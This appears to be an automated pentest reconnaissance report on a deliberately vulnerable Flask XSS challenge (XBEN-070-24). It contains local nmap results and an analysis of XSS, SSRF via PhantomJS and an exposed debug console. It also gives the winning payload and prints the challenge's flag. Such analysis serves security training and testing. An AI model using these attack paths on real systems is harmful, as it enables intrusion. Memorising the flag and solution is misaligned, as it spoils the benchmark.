# Pre-Reconnaissance Report

## Port Discovery (naabu)
Status: Skipped
[object Object]

## Network Scanning (nmap)
Status: success
Starting Nmap 7.97 ( https://nmap.org ) at 2025-10-30 11:16 -0700
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000049s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 992 closed tcp ports (conn-refused)
PORT      STATE SERVICE   VERSION
80/tcp    open  http      Caddy httpd
|_http-title: Site doesn't have a title.
|_http-server-header: Caddy
443/tcp   open  ssl/https
|_http-title: Site doesn't have a title.
631/tcp   open  ssl/ipp   CUPS 2.3
|_http-title: Home - CUPS 2.3.4
| http-robots.txt: 1 disallowed entry 
|_/
|_ssl-date: 2025-10-30T18:16:45+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Arjuns-MacBook-Pro.local
| Subject Alternative Name: DNS:Arjuns-MacBook-Pro.local
| Not valid before: 2025-09-05T18:16:17
|_Not valid after:  2026-09-05T18:16:17
|_http-server-header: CUPS/2.3 IPP/2.1
4444/tcp  open  http      SimpleHTTPServer 0.6 (Python 3.12.10)
|_http-title: Directory listing for /
| http-git: 
|   127.0.0.1:4444/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: \xE2\x9C\x85 Executive Summary and Report Cleanup: completed successf...
|_http-server-header: SimpleHTTP/0.6 Python/3.12.10
8888/tcp  open  http      SimpleHTTPServer 0.6 (Python 3.12.10)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.12.10
9998/tcp  open  http      SimpleHTTPServer 0.6 (Python 3.12.10)
| uptime-agent-info: <!DOCTYPE HTML>
| <html lang="en">
|     <head>
|         <meta charset="utf-8">
|         <title>Error response</title>
|     </head>
|     <body>
|         <h1>Error response</h1>
|         <p>Error code: 400</p>
|         <p>Message: Bad request syntax ('sysinfo').</p>
|         <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_</html>
|_http-title: Directory listing for /
| http-git: 
|   127.0.0.1:9998/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: \xE2\x9C\x85 Executive Summary and Report Cleanup: completed successf...
|_http-server-header: SimpleHTTP/0.6 Python/3.12.10
9999/tcp  open  abyss?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, JavaRMI, Kerberos, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   FourOhFourRequest, GetRequest: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: GET, POST, OPTIONS
|     Access-Control-Allow-Headers: Content-Type
|     Content-Type: text/plain
|     Date: Thu, 30 Oct 2025 18:16:17 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: GET, POST, OPTIONS
|     Access-Control-Allow-Headers: Content-Type
|     Date: Thu, 30 Oct 2025 18:16:17 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: GET, POST, OPTIONS
|     Access-Control-Allow-Headers: Content-Type
|     Date: Thu, 30 Oct 2025 18:16:22 GMT
|_    Connection: close
49152/tcp open  http      Golang net/http server
| fingerprint-strings: 
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.0 401 Unauthorized
|     Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'none'; script-src-elem 'none'; script-src-attr 'none'
|     Content-Type: text/plain; charset=utf-8
|     Tailscale-Cap: 115
|     Tailscale-Version: 1.82.5-tdec88625e-gec2eb9730
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     Date: Thu, 30 Oct 2025 18:16:17 GMT
|     Content-Length: 14
|     auth required
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port9999-TCP:V=7.97%I=7%D=10/30%Time=6903AB71%P=arm-apple-darwin24.4.0%
SF:r(GetRequest,E5,"HTTP/1\.1\x20200\x20OK\r\nAccess-Control-Allow-Origin:
SF:\x20\*\r\nAccess-Control-Allow-Methods:\x20GET,\x20POST,\x20OPTIONS\r\n
SF:Access-Control-Allow-Headers:\x20Content-Type\r\nContent-Type:\x20text/
SF:plain\r\nDate:\x20Thu,\x2030\x20Oct\x202025\x2018:16:17\x20GMT\r\nConne
SF:ction:\x20close\r\n\r\nOK")%r(HTTPOptions,C9,"HTTP/1\.1\x20200\x20OK\r\
SF:nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-Allow-Methods:\x2
SF:0GET,\x20POST,\x20OPTIONS\r\nAccess-Control-Allow-Headers:\x20Content-T
SF:ype\r\nDate:\x20Thu,\x2030\x20Oct\x202025\x2018:16:17\x20GMT\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(FourOhFourRequest,E5,"HTTP/1\.1\x20200\x20OK\
SF:r\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-Allow-Methods:\
SF:x20GET,\x20POST,\x20OPTIONS\r\nAccess-Control-Allow-Headers:\x20Content
SF:-Type\r\nContent-Type:\x20text/plain\r\nDate:\x20Thu,\x2030\x20Oct\x202
SF:025\x2018:16:17\x20GMT\r\nConnection:\x20close\r\n\r\nOK")%r(JavaRMI,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(RTSPRequest,C9,"HTTP/1\.1\x20200\x20OK\r\nAccess-Control-Allow-Origin
SF::\x20\*\r\nAccess-Control-Allow-Methods:\x20GET,\x20POST,\x20OPTIONS\r\
SF:nAccess-Control-Allow-Headers:\x20Content-Type\r\nDate:\x20Thu,\x2030\x
SF:20Oct\x202025\x2018:16:22\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RP
SF:CCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(DNSVersionBindReqTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nConnection:\x20close\r\n\r\n")%r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x
SF:20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(Help,2F,"HT
SF:TP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(SS
SF:LSessionReq,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20cl
SF:ose\r\n\r\n")%r(TerminalServerCookie,2F,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nConnection:\x20close\r\n\r\n")%r(TLSSessionReq,2F,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(Kerberos,2F,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r
SF:(SMBProgNeg,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20cl
SF:ose\r\n\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port49152-TCP:V=7.97%I=7%D=10/30%Time=6903AB71%P=arm-apple-darwin24.4.0
SF:%r(FourOhFourRequest,192,"HTTP/1\.0\x20401\x20Unauthorized\r\nContent-S
SF:ecurity-Policy:\x20default-src\x20'none';\x20frame-ancestors\x20'none';
SF:\x20script-src\x20'none';\x20script-src-elem\x20'none';\x20script-src-a
SF:ttr\x20'none'\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nTails
SF:cale-Cap:\x20115\r\nTailscale-Version:\x201\.82\.5-tdec88625e-gec2eb973
SF:0\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20DENY\r\n
SF:Date:\x20Thu,\x2030\x20Oct\x202025\x2018:16:17\x20GMT\r\nContent-Length
SF::\x2014\r\n\r\nauth\x20required\n")%r(GenericLines,67,"HTTP/1\.1\x20400
SF:\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
SF:Connection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(GetRequest,192,"H
SF:TTP/1\.0\x20401\x20Unauthorized\r\nContent-Security-Policy:\x20default-
SF:src\x20'none';\x20frame-ancestors\x20'none';\x20script-src\x20'none';\x
SF:20script-src-elem\x20'none';\x20script-src-attr\x20'none'\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nTailscale-Cap:\x20115\r\nTailsca
SF:le-Version:\x201\.82\.5-tdec88625e-gec2eb9730\r\nX-Content-Type-Options
SF::\x20nosniff\r\nX-Frame-Options:\x20DENY\r\nDate:\x20Thu,\x2030\x20Oct\
SF:x202025\x2018:16:17\x20GMT\r\nContent-Length:\x2014\r\n\r\nauth\x20requ
SF:ired\n")%r(HTTPOptions,192,"HTTP/1\.0\x20401\x20Unauthorized\r\nContent
SF:-Security-Policy:\x20default-src\x20'none';\x20frame-ancestors\x20'none
SF:';\x20script-src\x20'none';\x20script-src-elem\x20'none';\x20script-src
SF:-attr\x20'none'\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nTai
SF:lscale-Cap:\x20115\r\nTailscale-Version:\x201\.82\.5-tdec88625e-gec2eb9
SF:730\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20DENY\r
SF:\nDate:\x20Thu,\x2030\x20Oct\x202025\x2018:16:17\x20GMT\r\nContent-Leng
SF:th:\x2014\r\n\r\nauth\x20required\n")%r(RTSPRequest,67,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\
SF:nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.11 seconds


## Subdomain Discovery (subfinder)
Status: success
sbs.allsaintsschool.localhost
server2.hunter.localhost
server02.counterintel.localhost
fndlync01.5ninesdata.localhost
mse-ca-mail.corp.mse.localhost
owa.regency.localhost
tools.sonoma.edu.localhost
naeu2.naeuinc.localhost
mail.localhost
autodiscover.localhost
mail.regency.localhost
www.localhost
mail02.regency.localhost
mail03.regency.localhost
exchvm.nwcnet.localhost
autodiscover.regency.localhost


## Technology Detection (whatweb)
Status: success
[1m[34mhttp://localhost:35947[0m [200 OK] [1mHTTPServer[0m[[1m[36mWerkzeug/1.0.1 Python/2.7.18[0m], [1mIP[0m[[0m[22m::1[0m], [1mPython[0m[[1m[32m2.7.18[0m], [1mTitle[0m[[1m[33mDalgona Challenges[0m], [1mWerkzeug[0m[[1m[32m1.0.1[0m]

## Code Analysis
# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All subsequent tasks must adhere to this scope. Before reporting any finding (e.g., an entry point, a vulnerability sink), we have verified it meets the "In-Scope" criteria.

### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints
- Endpoints requiring authentication via the application's standard login mechanisms
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code

### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `go run ./cmd/...`, `python scripts/...`)
- A development environment's internal tooling (e.g., a "run script" button in an IDE)
- CI/CD pipeline scripts or build tools (e.g., Dagger build definitions)
- Database migration scripts, backup tools, or maintenance utilities
- Local development servers, test harnesses, or debugging utilities
- Static files or scripts that require manual opening in a browser (not served by the application)

---

## 1. Executive Summary

The XBEN-070-24 application (Dalgona XSS Challenge) is a deliberately vulnerable Flask-based web application running on Python 2.7.18, designed as a security training platform for Cross-Site Scripting (XSS) exploitation. The application employs PhantomJS as a headless browser to validate user-submitted XSS payloads and reveals a CTF flag upon successful exploitation. The security posture of this application is **CRITICALLY POOR** by design, with zero authentication mechanisms, no authorization controls, minimal input validation, and intentional XSS vulnerabilities.

From an external attacker's perspective with no privileged access, this application presents a highly exploitable attack surface. The monolithic architecture exposes two primary HTTP endpoints (`/` and `/page`) plus static file serving, all without authentication. The most significant security findings include: (1) **Critical XSS vulnerabilities** where user input is directly embedded into HTML without sanitization, injected into both HTML attribute and body contexts; (2) **Critical SSRF vulnerability** through PhantomJS HTML injection, allowing attackers to force the server to make arbitrary HTTP requests to internal networks, cloud metadata endpoints, and external services; (3) **Debug mode enabled** exposing the Werkzeug interactive debugger with remote code execution capabilities; (4) **End-of-life Python 2.7** with no security patches since January 2020; (5) **Plaintext flag storage** in version control and embedded in Docker image layers; and (6) **Complete absence of security controls** including CSRF protection, security headers, rate limiting, and session management.

The application's trust boundaries are severely violated: user input crosses directly from untrusted external sources into filesystem writes, subprocess execution contexts, and HTML rendering without validation or sanitization. The attack surface includes user-controllable form parameters that flow through string formatting operations directly into HTML templates, temporary file writes in web-accessible directories, and PhantomJS page rendering. An external attacker can exploit these vulnerabilities to achieve XSS execution, perform internal network reconnaissance via SSRF, potentially achieve remote code execution through the debug console, and extract the CTF flag. While this application serves its intended purpose as a security challenge, it represents the antithesis of secure coding practices and would pose catastrophic risks if deployed in any production context.

---

## 2. Architecture & Technology Stack

The XBEN-070-24 application follows a **monolithic architectural pattern** with a single Flask application serving all functionality. The technology stack is deliberately outdated and vulnerable, consisting of Python 2.7.18 (which reached end-of-life in January 2020 and receives no security updates), Flask 1.1.4 (released in 2021, multiple major versions behind current 3.x), and PhantomJS (abandoned in 2018 with known unpatched CVEs including CVE-2019-17221, CVE-2018-11574, and CVE-2018-6390). The application is containerized using Docker with a python:2.7.18-slim base image built on deprecated Debian Buster repositories (now archived at archive.debian.org with no active security patches).

**Framework & Language:** Flask 1.1.4 web framework on Python 2.7.18 runtime. The security implications are severe: Python 2.7 has known unpatched vulnerabilities including CVE-2021-3177 (buffer overflow in ctypes) and CVE-2020-27619 (eval() arbitrary code execution). Flask 1.1.4 lacks security patches implemented in newer 2.x and 3.x versions. The application demonstrates Python 2-specific dangerous patterns including `reload(sys)` and `sys.setdefaultencoding('utf8')` which can mask encoding errors and create security vulnerabilities. Additionally, PhantomJS vulnerabilities enable arbitrary file read via file:// URLs, XSS in page rendering, and remote code execution via crafted web pages.

**Architectural Pattern:** The application uses a simple monolithic request-response architecture with in-process request handling and subprocess execution for PhantomJS. The request flow creates multiple security concerns: (1) User submits XSS payload via POST to `/page` endpoint; (2) Flask extracts form data from `request.form.get('solution')` with zero validation; (3) Application generates HTML page with user input embedded using unsafe string formatting `'> {0}'.format(msg)`; (4) HTML page is written to a temporary file in the web-accessible `static/` directory with a random filename generated by `os.urandom(16).encode('hex')`; (5) PhantomJS subprocess is spawned via `subprocess.Popen(["timeout","5","phantomjs", "check.js"])` to load and execute the page; (6) PhantomJS captures JavaScript `alert()`, `confirm()`, or `prompt()` output; (7) Application validates if output equals "XSS" string; (8) CTF flag is revealed in HTML response if validation succeeds.

**Critical Security Components:** The application has virtually no security components implemented. **Authentication:** Zero authentication mechanisms exist - no login/logout endpoints, no user management, no JWT/OAuth/API keys, and no authentication middleware. The application is completely open and public. **Input Validation:** Critically minimal with only one instance of `cgi.escape()` used for PhantomJS output (line 58 of app.py) while user input is directly embedded in HTML without escaping (lines 69, 71, 73 of app.py). **Security Middleware:** Completely absent - no CORS configuration, no CSRF protection (POST endpoint at `/page` accepts form data without tokens), no rate limiting (allowing DoS attacks), and no security headers (missing Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, Strict-Transport-Security, X-XSS-Protection). **Cryptography:** No cryptographic libraries imported except `cgi` for basic HTML escaping; no encryption at rest or in transit; no secure password hashing or token signing. The only security-relevant operation is `os.urandom(16)` for generating temporary filenames, which is cryptographically secure but used in a vulnerable context (web-accessible directory).

The trust boundaries in this architecture are severely violated. User input crosses from untrusted external sources directly into filesystem operations (writing HTML files to `static/` directory without path validation), subprocess contexts (PhantomJS receives URLs derived from user input), and HTML rendering contexts (template injection without escaping). The application creates a race condition where temporary HTML files exist in web-accessible directories during the ~5-second PhantomJS processing window, potentially allowing direct HTTP access if an attacker can predict or enumerate the random filenames. The PhantomJS subprocess communicates via unencrypted stdin/stdout pipes, and while timeout mechanisms prevent long-running processes, they don't prevent exploitation of the underlying vulnerabilities.

---

## 3. Authentication & Authorization Deep Dive

**Authentication Status: COMPLETELY ABSENT**

This application implements **ZERO authentication mechanisms** of any kind. Analysis of the entire codebase reveals no authentication system, no login/logout endpoints, no user management functionality, no password handling, and no token-based authentication. The Flask application imports only basic modules (`Flask, request, Response, make_response, url_for`) with no authentication libraries such as Flask-Login, Flask-Security, Flask-HTTPAuth, or any OAuth/JWT libraries. All endpoints are publicly accessible without any identity verification.

**Authentication Endpoints: NONE EXIST**

The application has no authentication-related endpoints. A comprehensive analysis found:
- **No login endpoint:** No route for user authentication
- **No logout endpoint:** No session termination mechanism
- **No registration endpoint:** No user account creation
- **No password reset endpoint:** No credential recovery
- **No token refresh endpoint:** No token-based auth
- **No OAuth callback endpoints:** No third-party authentication integration
- **No API key validation:** No programmatic authentication

The two existing routes (`GET /` at line 29-31 of app.py and `GET/POST /page` at line 66-73 of app.py) have no authentication decorators, middleware checks, or authorization requirements. This means any external attacker on the public internet can directly access all application functionality without providing credentials.

**Session Management: COMPLETELY ABSENT**

The application implements no session management whatsoever. Flask's built-in session capability is not utilized, and critical session configuration is missing. At line 24-25 of app.py, the Flask application is instantiated with only `app.config['PROPAGATE_EXCEPTIONS'] = True` - notably missing `SECRET_KEY` which is required for Flask session signing. Without a SECRET_KEY, Flask sessions cannot be securely implemented.

**Session Cookie Configuration: NOT CONFIGURED**

The application fails to configure any session cookie security flags. Analysis of app.py reveals no configuration for:
- **`SESSION_COOKIE_HTTPONLY`**: Not set (would allow JavaScript access to session cookies, enabling XSS-based session theft)
- **`SESSION_COOKIE_SECURE`**: Not set (would allow session cookies to be transmitted over unencrypted HTTP, enabling man-in-the-middle interception)
- **`SESSION_COOKIE_SAMESITE`**: Not set (would allow cross-site request forgery attacks against session cookies)
- **`PERMANENT_SESSION_LIFETIME`**: Not set (no session timeout configuration)

**Specific File and Line References:** The Flask application initialization occurs at `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py` lines 24-25, where only `PROPAGATE_EXCEPTIONS` is configured. No session-related configuration exists anywhere in the codebase. If sessions were to be added in the future, they would be insecure by default due to these missing configurations.

**Authorization Model: COMPLETELY ABSENT**

The application has no authorization controls, no role-based access control (RBAC), no attribute-based access control (ABAC), and no access control lists (ACLs). Both endpoints (`/` and `/page`) are publicly accessible without any permission checks. There are no authorization decorators, middleware, or permission validation functions. The CTF flag stored in `secret.txt` (loaded at line 22 of app.py via `flags = open('secret.txt').read().split()`) is revealed to anyone who can trigger XSS with the specific payload `alert('XSS')`, with no user identity verification or authorization check.

**Authorization Bypass Scenarios:** Since no authorization exists, bypass scenarios are not applicable. However, the complete absence of authorization means that if authentication were added in the future, the existing code would grant all users access to all functionality including flag retrieval. The flag disclosure logic at line 56 of app.py checks only if `result == 'XSS'` without verifying user identity, permissions, or entitlements.

**SSO/OAuth/OIDC Flows: NOT IMPLEMENTED**

The application does not implement any Single Sign-On (SSO), OAuth, or OpenID Connect (OIDC) flows. Analysis found:
- **No OAuth callback endpoints:** No routes for handling OAuth authorization code or token exchange
- **No state parameter validation:** No CSRF protection for OAuth flows (N/A as OAuth not implemented)
- **No nonce validation:** No replay attack protection for OIDC flows (N/A as OIDC not implemented)
- **No OAuth libraries:** No imports of `authlib`, `flask-oauthlib`, `requests-oauthlib`, or similar
- **No identity provider configuration:** No configuration for Google, GitHub, Microsoft, or other OAuth providers

**Specific File and Line References:** No OAuth-related code exists anywhere in `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py`, `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/constants.py`, or any other source file.

**Token Security: NOT APPLICABLE**

The application does not implement any token-based authentication. There is no JWT validation, no API key checking, no bearer token authentication, no refresh token mechanism, and no token expiration logic. The only "secret" in the application is the CTF flag stored in plaintext in `secret.txt`, which is not a cryptographic token but rather challenge completion proof.

**Multi-Factor Authentication: NOT IMPLEMENTED**

No multi-factor authentication (MFA/2FA) mechanisms exist. No TOTP, SMS verification, hardware token support, or backup codes are implemented.

**Security Implications for Penetration Testing:**

From an external attacker perspective, the complete absence of authentication and authorization creates the following attack vectors:

1. **Unrestricted Access:** Any external attacker can access all application endpoints without providing credentials
2. **No Rate Limiting:** Without user identification, there's no user-based rate limiting, enabling unlimited flag extraction attempts
3. **No Audit Trail:** Without user sessions or authentication, there's no way to track who accessed sensitive data (the flag)
4. **CSRF Vulnerable:** The POST endpoint at `/page` accepts form data without CSRF tokens, allowing cross-site request forgery attacks where a malicious website can submit XSS payloads on behalf of visitors
5. **No Access Control:** The flag can be extracted by anyone on the internet who can craft the correct XSS payload, with no identity verification

**Privilege Escalation Paths:** Since there are no user roles or privileges in the system, traditional privilege escalation is not applicable. However, the lack of any access control means that all users (including unauthenticated attackers) operate with maximum privileges - the ability to execute arbitrary JavaScript via XSS, make server-side requests via SSRF, and extract the flag.

**Conclusion:** This application represents the complete absence of authentication and authorization security controls. While appropriate for a CTF challenge platform, this architecture would be catastrophically insecure in any production context. The lack of authentication combined with the intentional XSS vulnerability creates an unrestricted attack surface where any external attacker can achieve the application's security objective (flag extraction) and potentially exploit additional vulnerabilities (SSRF, RCE via debug mode) without any identity verification or access control checks.

---

## 4. Data Security & Storage

**Database Security: NO DATABASE IMPLEMENTED**

The XBEN-070-24 application does not use any database system. Comprehensive analysis of the codebase, dependencies, and configuration files reveals no database connections, no SQL queries, no ORM (Object-Relational Mapping) frameworks, and no database-related imports. The `requirements.txt` file located at `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/requirements.txt` contains only two dependencies: Flask==1.1.4 and phantomjs. Analysis of `app.py` shows no imports of database libraries such as SQLAlchemy, pymongo, psycopg2, MySQLdb, sqlite3, or any other database connectors. All data storage is file-based using the plaintext file `secret.txt` for CTF flag storage.

This absence of a database eliminates entire categories of vulnerabilities including SQL injection, NoSQL injection, database credential exposure, connection string vulnerabilities, and database access control issues. However, it also means there is no structured data persistence, no transaction support, no data integrity constraints, and no backup/recovery mechanisms for the flag data.

**Data Flow Security: CRITICAL VULNERABILITIES IN SENSITIVE DATA PATHS**

The application handles one primary type of sensitive data: the CTF flag. The data flow for this sensitive asset reveals multiple security vulnerabilities:

**Flag Storage and Loading Flow:**
1. **Build-time injection:** The flag is defined in `.env` file as `FLAG="flag{b74b5516-3dc3-491e-8680-a01ab52b756c}"` (located at `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/.env` line 1)
2. **Docker build argument:** The flag is passed as a build argument in `docker-compose.yml` (line 6) to the Dockerfile
3. **Filesystem embedding:** At `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/Dockerfile` lines 23-25, the flag is injected into the container image: `ARG FLAG` followed by `RUN sed -i s/@FLAG@/$FLAG/g secret.txt`
4. **Plaintext file storage:** The flag is stored in `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/secret.txt` with file permissions 644 (world-readable)
5. **In-memory loading:** At application startup, the flag is loaded into memory via `flags = open('secret.txt').read().split()` (line 22 of app.py) with no encryption or obfuscation
6. **Disclosure via XSS validation:** The flag is revealed in the HTML response when `result == 'XSS'` (line 56 of app.py)

**Critical Security Issues in Data Flow:**

1. **Secrets in Version Control:** The `.env` file containing the flag is stored in version control, making the flag permanently accessible in git history. This violates OWASP guidelines for secret management and creates a permanent security exposure even if the flag is rotated in the future.

2. **Docker Image Layer Exposure:** The flag is embedded into Docker image layers during build via the `RUN sed` command. This means the flag is recoverable using `docker history <image>` command or by extracting the image layers, even without running the container. This is a critical vulnerability as Docker images are often stored in registries and can be pulled by unauthorized parties.

3. **Plaintext File Storage:** The `secret.txt` file stores the flag in plaintext with no encryption at rest. File permissions of 644 mean the file is readable by the web application process and any other process running as the same user or in the same container.

4. **Unencrypted In-Memory Storage:** The flag is loaded into the Python process memory space in plaintext where it could be extracted via memory dumps, process inspection (`/proc/<pid>/mem` on Linux), or core dumps.

5. **Logging of Sensitive Data:** At lines 41-42 and 46-47 of app.py, the application logs to stdout: `print "Page:"`, `print page`, `print "Resultado:"`, `print result`. While these don't directly log the flag, they log user input and PhantomJS results which are part of the sensitive challenge validation flow.

**User Input Data Flow (Untrusted):**
1. User submits `solution` parameter via POST to `/page` endpoint
2. Input extracted via `request.form.get('solution','')` at line 68 with no validation
3. Input formatted via `'> {0}'.format(msg)` at line 69 with no sanitization
4. Input embedded in HTML template via `CHALLENGE_CONTENT_POST.format("8", "Circle", value, "", "")` at line 71
5. HTML with user input written to temporary file in web-accessible `static/` directory at lines 38-40
6. PhantomJS loads and executes the user-controlled HTML at lines 34-45
7. Results returned to user with user input still present (reflected XSS)

**Protection Mechanisms:** The application implements minimal data protection:
- **Output encoding (partial):** Only one instance of `cgi.escape(result)` at line 58 encodes PhantomJS output, but user input itself is never encoded
- **Temporary file cleanup:** Files are deleted in `finally` block at line 50, but exist in web-accessible directory during processing
- **Random filenames:** Uses `os.urandom(16)` for unpredictable filenames, reducing but not eliminating race condition risks

**Multi-tenant Data Isolation: NOT APPLICABLE**

The application is single-tenant with no user accounts, no tenant identification, and no data segregation requirements. All data (the single CTF flag) is globally accessible to all users. There is no tenant isolation in database queries (no database exists), no row-level security, no schema separation, and no per-tenant encryption keys.

If multi-tenancy were to be implemented in the future, the current architecture would provide zero isolation. The flag is globally loaded at application startup and would be accessible to all tenants. There are no tenant identifiers in request contexts, no tenant-scoped queries, and no logical or physical data separation.

**Encryption and Key Management:**

**Encryption Status: NONE IMPLEMENTED**

The application implements zero encryption for data at rest or in transit:

- **Data at Rest:** The `secret.txt` file is stored in plaintext with no filesystem encryption, no application-layer encryption, and no container-level encryption. The temporary HTML files in `static/` directory are also stored unencrypted.

- **Data in Transit:** The Flask application binds to `0.0.0.0:5000` serving HTTP (not HTTPS). At line 77 of app.py, the application runs with `app.run(debug=True)` with no SSL context configuration. The docker-compose.yml exposes port 5000 with no TLS termination. This means all data including the flag (when revealed) and user input is transmitted in plaintext over the network, vulnerable to man-in-the-middle attacks.

- **Cryptographic Libraries:** Analysis reveals no imports of cryptographic libraries. The application does not import `cryptography`, `pycrypto`, `hashlib`, `hmac`, `secrets`, or any encryption/hashing modules. The only security-related import is `cgi` for basic HTML escaping.

**Key Management: ABSENT**

The application has no encryption keys to manage. Critical observations:

- **No Flask SECRET_KEY:** The Flask application configuration at lines 24-25 does not set `SECRET_KEY`, which is required for secure session management and CSRF protection. If sessions were enabled, they would be vulnerable to tampering.

- **No API Keys:** No API authentication keys exist

- **No Signing Keys:** No JWT signing keys, no HMAC keys, no message authentication codes

- **No Certificate Management:** No TLS certificates for HTTPS

- **No Key Rotation:** No mechanism exists for rotating secrets or keys

**Sensitive Data Catalog:**

| Data Type | Storage Location | Format | Encryption | Access Control | Network Exposure |
|-----------|------------------|---------|------------|----------------|------------------|
| CTF Flag | `/src/secret.txt` | Plaintext | None | 644 (world-readable) | Via XSS validation |
| CTF Flag (build) | `/.env` | Plaintext | None | Version controlled | Build-time only |
| CTF Flag (embedded) | Docker image layers | Plaintext | None | Image inspection | Image distribution |
| User XSS Payloads | In-memory, temp files | Plaintext | None | Web app process | Web-accessible during processing |
| Temp HTML Files | `/src/static/*.html` | Plaintext | None | 644, HTTP-accessible | Random filename (weak protection) |
| Application Logs | stdout/stderr | Plaintext | None | Container logs | Depends on deployment |

**Compliance Implications:**

While this application does not handle regulated data types (no PII, PHI, payment cards), the data security practices would fail multiple compliance requirements if applied to regulated data:

- **GDPR (Article 32 - Security of Processing):** Would fail requirements for encryption of personal data and pseudonymization
- **PCI DSS (Requirement 3.4):** Would fail requirement to render PAN unreadable anywhere it is stored via encryption
- **PCI DSS (Requirement 4.1):** Would fail requirement for strong cryptography during transmission over open, public networks
- **HIPAA Security Rule (§164.312(a)(2)(iv)):** Would fail encryption and decryption requirements for ePHI
- **SOC 2 (CC6.6):** Would fail logical and physical security controls including encryption

**Security Recommendations for Data Security:**

If this application were to handle production data, critical improvements would include:

1. **Remove secrets from version control** - Delete `.env`, add to `.gitignore`, rotate exposed flag, use git-filter-repo to purge history
2. **Implement secret management service** - Use HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, or Kubernetes Secrets
3. **Encrypt data at rest** - Implement application-layer encryption using AES-256-GCM before writing sensitive data to files
4. **Enable TLS/HTTPS** - Configure Flask with SSL context or deploy behind reverse proxy with TLS termination
5. **Implement proper key management** - Set Flask SECRET_KEY, rotate keys regularly, use separate keys per environment
